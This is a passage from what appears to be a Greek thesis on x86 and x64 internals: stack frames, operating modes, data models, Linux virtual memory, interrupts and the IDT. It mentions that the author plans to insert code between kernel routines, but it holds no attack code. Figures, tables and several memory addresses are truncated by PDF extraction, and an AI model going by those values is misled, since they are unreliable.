χρήση της εντολές 'pop' (Κώδικας K 5). 23

25 pop EAX ; Ανάκληση της τιμής του EIP pop EBX ; Η πρώτη παράμετρος pop ECX ; Η δεύτερη παράμετρος push EAX ; Επανατοποθέτηση του EIP στην στοίβα έτσι ώστε η κορυφή της στοίβας να δείχνει στην διεύθυνση επιστροφής K 5. Ανάγνωση παραμέτρων Το κύριο πρόβλημα με αυτό τον κώδικα είναι ότι χρειάζεται να υπάρχουν κάποιοι καταχωρητές ελεύθεροι ώστε να μπορoύμε να αντιγράψουμε τις τιμές των παραμέτρων. Πράγμα που σημαίνει πως η καλούσα ρουτίνα δεν μπορεί να χρησιμοποιήσει αυτούς τους καταχωρητές για κάποια άλλη χρήση. Επίσης πρόβλημα προκύπτει όταν ο αριθμός των παραμέτρων αυξάνεται. Ένας τρόπος για να ελευθερωθούν καταχωρητές είναι να αντιγράφονται οι παράμετροι που βρίσκονται στην στοίβα σε τοπικές μεταβλητές, αλλά αυτό δεν είναι αρκετά πρακτικό. Ο καλύτερος τρόπος για το πέρασμα των μεταβλητών είναι να μένουν στην στοίβα και να προσπελάζονται όταν χρειαστούν. Από την στιγμή που η στοίβα είναι μία αλληλουχία από περιοχές μνήμης, η τιμή ESP + 4 θα δείχνει στην παράμετρο p2, και ESP + 8 στην p1. Για παράδειγμα το παρακάτω μπορεί να χρησιμοποιηθεί για την ανάκληση της παραμέτρου p2. EBX, [ESP+4] Σε αυτήν την περίπτωση όμως, ο δείκτης την κορυφής της στοίβας (ESP) αλλάζει κάθε φορά με την εκτέλεση των εντολών push και pop. Σαν αποτέλεσμα, η σχετική μετατόπιση αλλάζει με κάθε λειτουργία που κάνει η καλούμενη ρουτίνα στην στοίβα. Αυτό που μπορούμε να κάνουμε τελικώς είναι να χρησιμοποιήσουμε τον 24

26 καταχωρητή EBP αντί για τον ESP για να προσδιορίσουμε το offset μέσα στην στοίβα. Για παράδειγμα, μπορούμε να αντιγράψουμε την τιμή της παραμέτρου p2 στον EAX με τις εντολές που παρουσιάζονται στο κομμάτι κώδικα K 6. mov mov EBP,ESP EAX,[EBP+4] K 6. Αντιγραφή παραμέτρου στον EAX Αυτός είναι ο συνηθισμένος τρόπος δεικτών σε παραμέτρους στην στοίβα. Από την στιγμή που κάθε ρουτίνα χρησιμοποιεί τον καταχωρητή EBP για την πρόσβαση παραμέτρων, ο EBP θα πρέπει να κρατηθεί για αυτόν τον σκοπό. Επομένως, θα πρέπει να κρατήσουμε τα περιεχόμενα του καταχωρητή πριν εκτελέσουμε την παρακάτω εντολή, mov EBP,ESP Και για αυτόν τον σκοπό χρησιμοποιούμε την στοίβα. push mov EBP EBP,ESP Με αυτό τον τρόπο η μετατόπιση των παραμέτρων θα αυξηθεί 4 byte (Σχήμα 4). 25

27 p p return address EBP <--- EBP,ESP Σχήμα 4. Δείκτης στοίβας μετά την αντικατάσταση του περιεχομένου του με αυτό του δείκτη EBP Οι πληροφορίες που αποθηκεύονται στην στοίβα (παράμετροι, διεύθυνση επιστροφής, προηγούμενη τιμή του EBP) ονομάζονται ομαδικά stack frame. Το stack frame περιέχει επίσης τοπικές μεταβλητές εάν η μέθοδος τις χρησιμοποιεί. Η τιμή του EBP αναφέρεται ως frame pointer (FP). Μόλις η τιμή του είναι γνωστή, μπορούμε να προσπελάσουμε όλα τα αντικείμενα στο stack frame. Πριν επιστραφεί ο έλεγχος από την υπορουτίνα, θα πρέπει να χρησιμοποιήσουμε την εντολή, pop EBP για να επαναφέρουμε την αρχική τιμή του EBP (Σχήμα 5). 26

28 p p return <--- Κορυφή στοίβας ESP address Σχήμα 5. Επαναφορά αρχικής τιμής EBP Η εντολή ret προκαλεί την διεύθυνση επιστροφής να τοποθετηθεί στο καταχωρητή EIP, και η στοίβα φαίνεται στο Σχήμα p p2 <-- ESP Σχήμα 6. Μετά την κλήση της εντολής ret Έπειτα από αυτή την εντολή, τα 8 byte της στοίβας που περιέχουν τις παραμέτρους δεν χρειάζονται πλέον. Ένας τρόπος να τα ελευθερώσουμε είναι να αυξήσουμε τον ESP κατά 8 αμέσως μετά την εντολή call, όπως φαίνεται στο κομμάτι κώδικα K 7. 27

29 push push call add p1 p2 sub_proc ESP,8 K 7. Απελευθέρωση μνήμης με αύξηση του ESP Για παράδειγμα, οι C compilers χρησιμοποιούν αυτήν την μέθοδο για να καθαρίσουν τις παραμέτρους από την στοίβα. Συγκεκριμένα το παραπάνω κομμάτι κώδικα αντιστοιχεί στην εξής κλήση, sub_proc(number2, number1); Αντί να προσαρμοστεί η στοίβα από την καλούσα μέθοδο θα μπορούσε επίσης η καλούμενη μέθοδος να καθαρίσει την στοίβα. Σε αυτή την περίπτωση όμως το παρακάτω, add ESP, 8 ret είναι λάθος, καθώς όταν θα εκτελεστεί η εντολή ret, ο ESP θα πρέπει να δείχνει στην διεύθυνση επιστροφής στην στοίβα. Η λύση βρίσκεται στην προαιρετική παράμετρο που μπορεί να δεχτεί η εντολή ret, ret optional-value το οποίο έχει σαν αποτέλεσμα στην παρακάτω ακολουθία εντολών, EIP = SS:ESP ESP= ESP o p t i o n a l - v a l u e Η παράμετρος optional-value θα πρέπει να είναι ένας αριθμός. Αφού ο σκοπός της προαιρετικής τιμής είναι να αγνοηθούν οι παράμετροι που βρίσκονται στην 28

30 στοίβα αυτό το όρισμα έχει θετική τιμή. Οι γνώσεις χαμηλού επιπέδου για το πέρασμα από μία μέθοδο σε άλλη μας είναι απαραίτητες καθώς για να πετύχουμε τον σκοπό μας, στο πρόγραμμα θα τοποθετήσουμε έναν ενδιάμεσο κώδικα μεταξύ κάποιων μεθόδων του πυρήνα. 3.6 Η στοίβα σε συστήματα x64 Στα συστήματα AMD64 οι πρώτες 6 ακέραιες παράμετροι (και οτιδήποτε χωράει ουσιαστικά σε έναν καταχωρητή των 64 bit) εισάγεται μέσω καταχωρητών. Μόνο μετά από αυτό το γεγονός μπορούν τα δεδομένα να μπουν στην στοίβα. Σε αρχιτεκτονικές IA64, τα πρώτα 9 ορίσματα περνούν μέσω καταχωρητών ενώ τα υπόλοιπα τοποθετούνται στην στοίβα. Και στις δύο αρχιτεκτονικές υπάρχει μια επιπλέον περιοχή -16 byte με το όνομα scratch area για IA64 και 128 byte με όνομα red zone για AMD64 η οποία είναι κάτω από το τέλος του τρέχοντος stack frame. Και στις δύο αρχιτεκτονικές αυτή η περιοχή δεν μεταβάλλεται από σήματα ή διακοπές, ενώ οι μέθοδοι που δεν καλούν άλλες μεθόδους (Leaf functions) μπορούν να χρησιμοποιήσουν αυτή την περιοχή για όλο το stack frame τους. 29

31 4 Τεχνολογίες επεξεργαστών και διαφορές τους 4.1 Αρχιτεκτονικές AMD64 και IA64 Η αρχιτεκτονική x86-64 είναι ένα υπερσύνολο της αρχιτεκτονικής x86. Αυτό σημαίνει πως όλες οι εντολές που μπορούν να εκτελεστούν σε x86, μπορούν επίσης να εκτελεστούν και από ΚΜΕ οι οποίες υλοποιούν το σύνολο εντολών x Επομένως αυτές οι ΚΜΕ μπορούν να εκτελέσουν τοπικά προγράμματα που εκτελούνται σε επεξεγαστές x86 της Intel, AMD και άλλων κατασκευαστών. Η αρχιτεκτονική x86-64 όμως δεν πρέπει να συγχέεται με την ΙΑ64. Αντίθετα, η πρώτη αναφέρεται στην αντίστοιχη AMD64. Η AMD αντιγράφοντας την x86 αρχιτεκτονική της Intel και επεκτείνοντας την για 64bit έφτιαξε την βασική αρχιτεκτονική που σήμερα αποκαλείται x86_64, x64 ή AMD64. Τον ίδιο καιρό η Intel είχε αναπτύξει την ΙΑ64, η οποία διέφερε ριζικά από την x86 ή ακόμη και την AMD64. Αργότερα προκειμένου να υπάρχει συμβατότητα η Intel ανέπτυξε την EM64T, η οποία είναι όμοια και συμβατή με την AMD64. Οι δύο αυτές τεχνολογίες αναφέρονται συχνά με τα ονόματα που προαναφέρθηκαν (AMD64, x84_64, x64). Στο παρόν κείμενο θα ασχοληθούμε με την τεχνολογία AMD64 (ή EM64T) όσων αφορά το μοντέλο διευθύνσεων των 64bit, και όποτε αναφέρουμε το όνομα x86_64 ή x64 θα αναφερόμαστε σε αυτήν. 30

32 5 Καταστάσεις λειτουργίας και μοντέλα μνήμης Operating modes & memory models Με όσα προαναφέρθηκαν βλέπουμε πως υπάρχει η ανάγκη ένας επεξεργαστής να μπορεί να λειτουργήσει σε διαφορετικές καταστάσεις προκειμένου να καλύψει τις ανάγκες συμβατότητας. Οι καταστάσεις λειτουργίας που συναντάμε συνήθως στους επεξεργαστές x64 είναι οι παρακάτω, Long mode Η βασική κατάσταση λειτουργίας στην οποία προορίζεται να λειτουργεί. Είναι ένας συνδυασμός της τοπικής κατάστασης λειτουργίας 64-bit και ένας των 32-bit και 16-bit. Χρησιμοποιείται από ΛΣ των 64-bit. Σε ένα ΛΣ των 64-bit μπορούν να τρέξουν εφαρμογές των 64-bit, 32-bit ή 16-bit. Από την στιγμή που το βασικό instruction set είναι το ίδιο, δεν υπάρχει μεγάλη διαφορά απόδοσης στην εκτέλεση κώδικα x86. Αυτό έρχεται σε αντίθεση με την αρχιτεκτονική ΙΑ-64 της Intel, όπου οι διαφορές στο ISA σημαίνουν ότι η εκτέλεση κώδικα 32-bit πρέπει να γίνει είτε σε εξομοίωση της x86, είτε με έναν επεξεργαστικό πυρήνα καθαρά για x86. Αυτό καθιστούσε την διεργασία εξαιρετικά αργή χάνοντας την αξία της προς τα πίσω συμβατότητας. Ωστόσο, στην AMD64, οι εφαρμογές των 32-bit μπορούν να επωφελούνται της επαναμεταγλώττισης σε 64- bit, εξ αιτίας των επιπλέον καταχωρητών τους οποίους ένας μεταγλωττιστής μπορεί να χρησιμοποιήσει για optimization. Legacy mode Η κατάσταση που χρησιμοποιείται από ΛΣ των 16 και 32 bit. Σε αυτή τη κατάσταση ο επεξεργαστήςσυμπεριφέρεται όπως οποιοσδήποτε άλλος x86 31

33 επεξεργαστής, και μόνο κώδικας των 16 και 32 bit μπορεί να εκτελεστεί. Τα προγράμματα των 64-bit δεν θα εκτελεστούν. 64-bit mode Σε αυτή την κατάσταση μπορούμε να τρέξουμε ΛΣ και εφαρμογές που μπορούν να έχουν πρόσβαση σε χώρο διευθύνσεων 64 bit. Στην πραγματικότητα δημιουργείται ένας επίπεδος 64-bit linear-address χώρος, απενεργοποιώντας σχεδόν καθολικά το segmentation. Συγκεκριμένα ο επεξεργαστής θεωρεί την βάση των segment CS, DS, ES και SS σαν μηδέν. Compatibility mode Σε αυτή την κατάσταση μπορούμε να τρέχουμε στο 64-bit λειτουργικό μας σύστημα εφαρμογές για 32 bit. Η λειτουργία ενεργοποιείται σε επίπεδο εφαρμογής. Αυτό σημαίνει ότι ενώ οι τελευταίες εφαρμογές μπορεί να τρέχουν σε compatibility mode, την ίδια στιγμή άλλες μπορούν τρέχουν σε κανονική λειτουργία 64-bit. H AMD ονομάζει άλλη μία κατηγορία, legacy mode, για την περίπτωση που ο επεξεργαστής υποστηρίζει x86_64 αλλά το ΛΣ είναι 16 ή 32 bit [13]. Οι καταστάσεις λειτουγίας του επεξεργαστή φαίνονται αναλυτικά στον Πίνακας 3. 32

34 Operating mode Operating system required Compiledapplication rebuild required Default address size Default operand size Register extensions Typical GPR width 64-bit mode Yes Yes 64 Long mode Compatibility mode OS with 64-bit support No No Legacy mode Protected mode Virtual 8086 mode Legacy 16-bit or 32-bit OS No No Real mode Legacy 16-bit OS Πίνακας 3. Καταστάσεις λειτουργίας επεξεργαστή [14] 33

35 6 Μοντέλα δεδομένων Για την γλώσσα C, όσων αφορά τους τύπους δεδομένων, υπάρχουν 3 βασικά μοντέλα που μπορούν να επιλεγούν: LP64, ILP64 και LLP64. Αυτά παρουσιάζονται στον Πίνακας 4 μαζί με το μέγεθος σε bit που διατίθεται σε κάθε έναν τύπο δεδομένων. Ο τύπος LP64 (ή αλλιώς 4/8/8) δηλώνει τους τύπους long και pointer με 64 bit, ο ILP64 (8/8/8) έχει int, long και pointer 64 bit και ο LLP64 (4/4/8) προσθέτει έναν καινούργιο τύπο, τον long long. Αυτός και ο pointer είναι μεγέθους 64 bit. Τα περισσότερα σημερινά συστήματα είναι τύπου ILP32 (δηλαδή οι τύποι int, long και pointers είναι 32-bit). Datatype LP64 ILP64 LLP64 ILP32 LP32 char short _int32 32 Int long long long 64 pointer Πίνακας 4. Τύποι δεδομένων και μέγεθος στη μνήμη σε bit Στοο πρόγραμμα που θα αναπτύξουμε θα είμαστε προσεκτικοί στην επιλογή των τύπων των δεδομένων μας. Επίσης θα χρησιμοποιήσουμε ένα χαρακτηριστικό που παραμένει ίδιο σε όλους τους βασικούς τύπους, και είναι το μέγεθος του pointer. Χρησιμοποιώντας το μέγεθος αυτού θα κάνουμε την διάκριση μεταξύ ενός συστήματος 32 και ενός 64 bit. 34

36 7 Ιδεατή μνήμη Virtual Memory 7.1 Ιδεατός χώρος μνήμης 32-bit Η μνήμη σε φυσικό επίπεδο στο Linux χωρίζεται σε ζώνες, καθεμία από τις οποίες περιέχει διαφορετικού είδους δεδομένα. Οι ζώνες είναι οι εξής, ZONE_DMA ZONE_NORMAL ZONE_HIGHMEM Πρώτα 16MB μνήμης Τα πρώτα MB μνήμης 896 MB τέλος END ZONE user HIGHMEM mode MB Physical Memory ZONE kernel NORMAL mode MB ZONE DMA MB Σχήμα 7. Οργάνωση φυσικής μνήμης Οι περισσότερες διεργασίες του πυρήνα λαμβάνουν χώρα στο ZONE_NORMAL. Στην ζώνη ZONE_HIGHMEM συνήθως υπάρχουν δεδομένα κατάστασης χρήστη (user mode). Η φυσική μνήμη επιπλέον χωρίζεται σε τμήματα σταθερού μεγέθους που ονομάζονται page tables. Όταν ο πυρήνας χρειαστεί 35

37 επιπλέον μνήμη από αυτή που του παρέχει το ZONE_NORMAL για την αποθήκευση δεδομένων, του αποδίδονται προσωρινά κάποιες σελίδες από το ZONE_HIGHMEM με την μέθοδο kmap. Αυτήν όμως είναι η μορφή της μνήμης σε φυσικό επίπεδο. Η μορφή που είναι αποθηκευμένες οι ακολουθίες των bit στη μνήμη απέχει πολύ από τον τρόπο που προσπελάζονται. Η διαδικασία για την κατανόηση αυτών που βλέπουμε περιγράφεται παρακάτω: Με την βοήθεια της μονάδας διαχείρισης μνήμης (memory managerment unit) κάθε διεργασία μπορεί να λειτουργεί νομίζοντας πως έχει όλη τη φυσική μνήμη του συστήματος διαθέσιμη. Ο χώρος που βλέπει κάθε διεργασία ονομάζεται virtual address space και το μέγεθός του εξαρτάται από το ποσοστό της μνήμης που μπορεί να διευθυνσιοδοτήσει ο συγκεκριμένος επεξεργαστής. Έτσι έχουμε έναν χώρο διευθύνσεων 4G στην περίπτωση διευθύνσεων 32-bit, 64G σε περίπτωση PAE (Physical Address Extension) της Intel, ενώ 16 exabytes για διευθύνσεις των 64 bit. Στο linux ο χώρος αυτός (virtual address space) χωρίζεται σε δύο μέρη, ένα για τα δεδομένα κατάστασης χρήστη (user mode) και ένα για αυτά του πυρήνα (kernel mode). Αυτός ο διαχωρισμός έχει επικρατήσει να ονομάζεται user/kernel split. Ο λόγος ύπαρξης αυτού είναι η παροχή ασφάλειας, καθορίζοντας έναν σταθερό, μη μεταβαλλόμενο διαχωρισμό μεταξύ των δύο. Ακόμη η απλότητα στην μετάφραση των διευθύνσεων πυρήνα παρέχει ταχύτητα. Τα δεδομένα χρήστη είναι ορατά μόνο για την συγκεκριμένη διεργασία στην οποία ανήκει ο χώρος διευθύνσεων. Τα δεδομένα πυρήνα είναι ορατά από όλες τις διεργασίες αντιστοιχώντας τα στο πάνω μέρος του virtual address space κάθε διεργασίας. Παρατηρούμε έτσι πως για κάθε διεργασία υπάρχει στο ανώτερο μέρος διευθύνσεών της ένα ιδεατό αντίγραφο της εικόνας του πυρήνα στη 36

38 μνήμη, ενώ στο κατώτερο τμήμα έχει τα δικά της δεδομένα, ορατά μόνο από την ίδια. Αν και τα δεδομένα του πυρήνα έχουν διευθύνσεις, ωστόσο οποιαδήποτε πρόσβαση στην περιοχή του πυρήνα κατά την εκτέλεση σε user mode θα προκαλέσει ένα σφάλμα protection violation. Μόνο κατά την εκτέλεση σε kernel mode είναι προσβάσιμα και τα δύο μέρη GB Kernel Virtual Space Virtual (1 GB) Memory GB User-space Virtual Space (3 GB) GB Σχήμα 8. Οργάνωση ιδεατής μνήμης [14] Όταν βρισκόμαστε σε compatibility mode ο χώρος για τον πυρήνα θα είναι κατά πάσα πιθανότητα 1G, ορίζοντας έτσι ένα 1/3 split. Μία άλλη περίπτωση που θα μπορoύσαμε να συναντήσουμε είναι το 2/2 split, δηλαδή 2G για κάθε έναν χώρο. Αυτό που πρέπει να διευκρινιστεί εδώ είναι ότι η πρόσβαση στα δεδομένα του πυρήνα γίνεται σε κάθε περίπτωση από το τέλος του virtual address space. Δηλαδή οι διευθύνσεις του πυρήνα σε περίπτωση 1/3 split θα ξεκινάνε από την διεύθυνση 0xC Αυτή η τιμή θα μας απασχολήσει αργότερα καθώς θα πρέπει να προσδιοριστεί προκειμένου να λειτουργήσει το πρόγραμμα που θα αναπτύξουμε. Ξέροντας την τιμή αυτή μπορούμε να κάνουμε ακριβείς μεταφράσεις φυσικών σε ιδεατές διευθύνσεις μνήμης. Είναι κατά κάποιο τρόπο το κλειδί για να μπορέσουμε 37

39 να γράψουμε δεδομένα στις ενδιαφέρουσες περιοχές που θα ανακαλύψουμε σκανάροντας την μνήμη. Το τέλος των δεδομένων του χρήστη σηματοδοτείται από το task size limit. Το όριο αυτό μπορούμε να το βρούμε σαν macro με την ονομασία TASK_SIZE στο αρχείο include/asm/processor.h. 7.2 Ιδεατός χώρος μνήμης 64-bit Αν και οι virtual διευθύνσεις είναι των 64 bit σε καταστάσεις λειτουργίας 64-bit, ωστόσο οι παρούσες υλοποιήσεις δεν επιτρέπουν να χρησιμοποιηθεί όλο το εύρος των 16 EB του virtual address space [15]. Τα περισσότερα λειτουργικά συστήματα και οι εφαρμογές δεν χρειάζονται τόσο μεγάλο χώρο διευθύνσεων στο άμεσο μέλλον, επομένως η χρησιμοποίηση όλου του εύρους θα προσέθετε απλώς πολυπλοκότητα και κόστος της μετάφρασης των διευθύνσεων μη προσφέροντας κανένα κέρδος. Η AMD λοιπόν αποφάσησε ότι στην πρώτη υλοποίηση της αρχιτεκτονικής μόνο τα τελευταία 48 bit (least significant) της virtual διεύθυνσης θα μπορούσαν στην πραγματικότητα να χρησιμοποιηθούν στην μετάφραση διευθύνσεων. Ωστόσο, τα bit 48 μέχρι 63 οποιασδήποτε virtual διεύθυνσης πρέπει να είναι αντίγραφα του bit 47 (με τρόπο παρόμοια με το sign extension), διαφορετικά ο επεξεργαστής υψώνει εξαίρεση. Διευθύνσεις που συμβαδίζουν με αυτόν τον κανόνα αναφέρονται ως διευθύνσης σε κανονική μορφή (canonical form). Αυτές οι διευθύνσεις έχουν εύρος από 0 μέχρι 00007FFF.FFFFFFFF, και από FFFF μέχρι FFFFFFFF.FFFFFFFF, με συνολικά 256 TB χρησιμοποιήσιμου ιδεατού χώρου διευθύνσεων. Ο διαχωρισμός φαίνεται στο Σχήμα

40 FFFFFFFF FFFFFFFF canonical higher half FFFF Noncanonical addresses 00007FFF FFFFFFFF canonical lower half Σχήμα 9. Υλοποίηση 48-bit διευθύνσεων σε canonical form της αρχιτεκτονικής AMD64 Αυτό επιτρέπει ένα σημαντικό χαρακτηριστικό για επιπλέον ανάπτυξη σε πραγματική διευθυνσιοδότηση 64bit. Πολλά λειτουργικά συστήματα χρησιμοποιούν τα υψηλά bits για τις διευθύνσεις του πυρήνα, και αφήνουν τα χαμηλότερα για τον κώδικα των εφαρμογών, τις στοίβες της κατάστασης χρήστη, το heap κτλ. Το χαρακτηριστικό των "canonical address" διαβεβαιώνει ότι οποιαδήποτε παρόμοια αρχιτεκτονική, έχει στην πραγματικότητα διευθύνσεις οι οποίες χωρίζονται στα δύο: το χαμηλότερο ξεκινάει από την διεύθυνση και ανεβαίνει όσο περισσότερα bits εικονικών διευθύνσεων τίθενται σε λογαριασμό του χρήστη, ενώ το υψηλότερο μισό παραμένει στην 39

41 κορυφή του χώρου διευθύνσεων και κατεβαίνει σταδιακά. Η τοποθέτηση των μη χρησιμοποιούμενων bit σε σταθερό σημείο αποτρέπει την χρησιμοποίηση αυτών σαν σημαίες (flags), δείκτες προνομίων (privilege markers) κα., πράγμα το οποίο θα μπορούσε να αποδειχθεί προβληματικό όταν η αρχιτεκτονική θα επεκταθεί σε 52, 56, 60 και 64 bits [15]-[16]. FFFFFFFF FFFFFFFF canonical higher half FF Noncanonical addresses 007FFFFF FFFFFFFF canonical lower half FFFFFFFF FFFFFFFF higher half lower half Σχήμα 10. Διαχωρισμός των χώρων διευθύνσεων για υλοποίηση 56 και 64bit αντίστοιχα της amd64 Αντίθετα η αρχιτεκτονική ΙΑ64 παρέχει ένα πλήρες virtual address space των 64-40

42 bit. Όπως φαίνεται και στο Σχήμα 10, ο χώρος διευθύνσεων χωρίζεται σε 8 περιοχές ίσου μεγέθους. Κάθε περιοχή καλύπτει 2048 Pbytes. Οι περιοχές αριθμούνται 0 έως 7. Δεν υπάρχουν κάποιες συγκεκριμένες οδηγίες για το πώς μπορούν να χρησιμοποιηθούν αυτές οι περιοχές μνήμης, ωστόσο οι περιοχές 0 έως 4 χρησιμοποιούνται συνήθως σαν περιοχές χρήστη και οι περιοχές 5 έως 7 σαν περιοχές πυρήνα. Σχήμα 11. Μετάφραση μνήμης σε ΙΑ64 [11] Ο τρόπος που μεταφράζουμε τις διευθύνσεις από φυσικές σε virtual και το αντίστροφο, διατηρεί την ίδια βασική αρχή. Η περιοχή που θέλουμε αθροισμένη με την διεύθυνση της αρχής του πυρήνα στο virtual address space. Αυτός ο αριθμός όμως αλλάζει. Η αρχιτεκτονική IA-64 υποστηρίζει πολλά μεγέθη για τις σελίδες (virtual pages) όπως 4, 8, 16, ή 64 Kbyte. Στην παρούσα εργασία όπως προαναφέραμε θα ασχοληθούμε μόνο με την αρχιτεκτονική AMD64. Οπότε το KERNEL_START θα έχει την τιμή 0xFFFFFFFF Επίσης το PAGE_OFFSET θα έχει ως αναμενόμενο διαφορετική τιμή από το KERNEL_START. 41

43 Σχήμα 12. Διαχωρισμός μνήμης πυρήνα-χρήστη αρχιτεκτονική ΙΑ64 [11] 42

44 8 Διακοπές και εξαιρέσεις Interrupts and exceptions Τα σήματα διακοπών παρέχουν ένα τρόπο για τον επεξεργαστή να "ξεφύγει" από την κανονική λειτουργία εκτέλεσης. Όταν ένα σήμα καταφθάσει, η ΚΜΕ πρέπει να σταματήσει την τρέχουσα επεξεργασία και να κάνει εναλλαγή στην καινούργια διεργασία. Αυτό γίνεται αποθηκεύοντας την τρέχουσα τιμή του program counter (για παράδειγμα τις τιμές των καταχωρητών eip και cs) στην στοίβα του πυρήνα και τοποθετώντας μία διεύθυνση σχετική με τον τύπο της διακοπής στον program counter. Η Intel κατηγοριοποιεί τις διακοπές και τις εξαιρέσεις ως εξής, i. Διακοπές Maskable interrupts Όλες οι αιτήσεις διακοπής που παράγονται από συσκευές εισόδου/εξόδου δημιουργούν maskable interrupts. Μία τέτοια διακοπή μπορεί να είναι σε δύο καταστάσεις masked ή unmasked. Στην πρώτη περίπτωση η διακοπή αγνοείται από τον επεξεργαστή για όσο παραμένει masked. Nonmaskable interrupts Μόνο μερικά κρίσιμα γεγονότα, όπως βλάβες στο υλικό, δημιουργούν nonmaskable διακοπές. Αυτή η κατηγορία διακοπών σε καμία περίπτωση δεν αγνοείται από τον επεξεργαστή. 43

45 ii. Εξαιρέσεις Processor-detected exceptions Παράγονται μόλις η ΚΜΕ εντοπίσει μία ανώμαλη κατάσταση κατά την διάρκεια εκτέλεσης μιας εντολής. Αυτές διαιρούνται περαιτέρω σε 3 κατηγορίες, ανάλογα με την τιμή του καταχωρητή eip η οποία έχει αποθηκευτεί στην στοίβα πυρήνα την στιγμή που η μονάδα ελέγχου "υψώνει" την εξαίρεση. Faults Γενικά είναι καταστάσεις που μπορούν να ξεπεραστούν και έπειτα το πρόγραμμα συνεχίζει την λειτουργία του χωρίς καθόλου απώλεια. Η τιμή του eip που αποθηκεύεται είναι η διεύθυνση της εντολής που προκάλεσε το fault, και έτσι αυτή η εντολή μπορεί να έχει πάλι τον επεξεργαστή μετά το τέλος της εκτέλεσης του διαχειριστή εξαίρεσης. Traps Δηλώνονται αμέσως μετά την εκτέλεση της εντολής που προκάλεσε το trap. Αφού ο πυρήνας επιστρέψει τον έλεγχο στο πρόγραμμα, του επιτρέπεται να συνεχίσει την λειτουργία του χωρίς απώλειες συνέχειας. Η τιμή του eip είναι η διεύθυνση της εντολής που θα πρέπει να εκτελεστεί μετά από αυτήν που προκάλεσε τo trap. Προκαλείται συνήθως όταν δεν υπάρχει ανάγκη επανεκτέλεσης της εντολής που μόλις τέλειωσε. Ο κύριος ρόλος αυτού του είδους εξαιρέσεων είναι για τους σκοπούς της αποσφαλμάτωσης (debugging). Ο κύριος λόγος ύπαρξης της εξαίρεσης σε αυτή την περίπτωση είναι να ειδοποιήσει τον debugger ότι η συγκεκριμένη εντολή έχει εκτελεστεί (για παράδειγμα, έχουν φτάσει στο σημείο ενός breakpoint μέσα σε ένα πρόγραμμα). 44

46 Aborts Σημαίνουν την εμφάνιση ενός σοβαρού λάθους. Η μονάδα ελέγχου έχει κάποιο πρόβλημα και ίσως να μην μπορέσει να αποθηκεύσει στον eip την ακριβή τοποθεσία της εντολής που προκάλεσε την εξαίρεση. Χρησιμοποιούνται για να αναφέρουν σοβαρά λάθη όπως είναι βλάβες υλικού και άκυρες ή μη συνεπείς τιμές στους πίνακες του συστήματος. Το σήμα που στέλνεται από την μονάδα ελέγχου είναι ένα σήμα κινδύνου και χρησιμοποιείται για την εναλλαγή του ελέγχου στον αντίστοιχο διαχειριστή εξαίρεσης. Programmed exceptions Εμφανίζονται έπειτα από αίτησή τους από τον προγραμματιστή. Προκαλούνται από τις εντολές int και int3. Οι εντολές into (έλεγχος υπερχείλισης) και bound (έλεγχος ορίων διεύθυνσης) προκαλούν επίσης προγραμματιζόμενη εξαίρεση όταν οι συνθήκες τις οποίες ελέγχουν είναι ψευδής. Η μονάδα ελέγχου χειρίζεται τις προγραμματιζόμενες συνθήκες σαν trap. Αποκαλούνται επίσης και διακοπές λογισμικού. Αυτές οι εξαιρέσεις έχουν συνήθως δύο χρήσεις: να υλοποιούν κλήσεις συστήματος και να ειδοποιούν κάποιον debugger περί ενός συγκεκριμένου γεγονότος. Κάθε διακοπή ή εξαίρεση αναγνωρίζεται από έναν αριθμό από 0 έως 255, η Intel αποκαλεί αυτό τον αριθμό των 8 bit, διάνυσμα (vector). Τα διανύσματα των nonmaskable διακοπών και εξαιρέσεων είναι προκαθορισμένα ενώ αυτά των maskable διακοπών μπορούν να τροποποιηθούν προγραμματίζοντας τον ελεγκτή διακοπών Interrupt Controller. 45

47 Τα διανύσματα κατηγοριοποιούνται ως εξής, 0 μέχρι 31 : εξαιρέσεις και non-maskable διακοπές 32 μέχρι 47 : maskable διακοπές 48 μέχρι 255 : διακοπές λογισμικού Το Linux χρησιμοποιεί μόνο μία διακοπή λογισμικού (0x80) η οποία και χρησιμοποιείται για να κληθούν μέθοδοι του πυρήνα. 46

48 9 Πίνακας διακοπών Interrupt descriptor table Ένας πίνακας συστήματος που ονομάζεται Interrupt Descriptor Table (IDT) συνδέει κάθε διάνυσμα διακοπής ή εξαίρεσης με την αντίστοιχη διεύθυνση του διαχειριστή διακοπής ή εξαίρεσης. Ο IDT πρέπει να αρχικοποιηθεί πριν ο πυρήνας ενεργοποιήσει τις διακοπές. Η αρχικοποίηση στο Linux γίνεται κατά την διαδικασία εκκίνησης (bootstrap). Κάθε εγγραφή του IDT αντιστοιχεί σε ένα διάνυσμα διακοπής ή εξαίρεσης και περιέχει έναν 8-byte descriptor σε compatibility mode ενώ έναν 16-byte descriptor σε 64-bit mode. Επομένως, το μέγιστο των 256 x 8 = 2048 bytes απαιτούνται για την αποθήκευση του IDT στην πρώτη και 256 x 16 = 4096 byte στην δεύτερη περίπτωση. Υπάρχουν 3 είδη εγγραφών στον πίνακα: Task gate descriptor, Interrupt gate και Trap gate. Task gate Περιέχει το TSS selector της διεργασίας που πρέπει να αντικαταστήσει την τρέχουσα διεργασία όταν συμβαίνει ένα σήμα διακοπής. Interrupt gate Περιέχει το Segment Selector και την μετατόπιση μέσα στο segment ενός handler διακοπής ή εξαίρεσης. Καθώς μεταφέρεται ο έλεγχος στο κατάλληλο segment, ο επεξεργαστής θέτει το IF = 0 προκειμένου να απενεργοποιήσει περεταίρω maskable interrupts. Trap gate 47

49 Παρόμοια με την interrupt gate, με την διαφορά ότι ενώ ο έλεγχος μεταφέρεται στο κατάλληλο segment, ο επεξεργαστής δεν αλλάζει το IF flag. Task Gate Descriptor D D RESERVED P P P RESERVED L L ============================================================= SEGMENT SELECTOR RESERVED Interrupt Gate Descriptor D D HANDLER OFFSET (16-31) P P P RESERVED L L ============================================================= SEGMENT SELECTOR HANDLER OFFSET (0-15) Trap Gate Descriptor D D HANDLER OFFSET (16-31) P P P RESERVED L L ============================================================= SEGMENT SELECTOR HANDLER OFFSET (0-15) Σχήμα 13. Εγγραφές πίνακα διακοπών x86 48

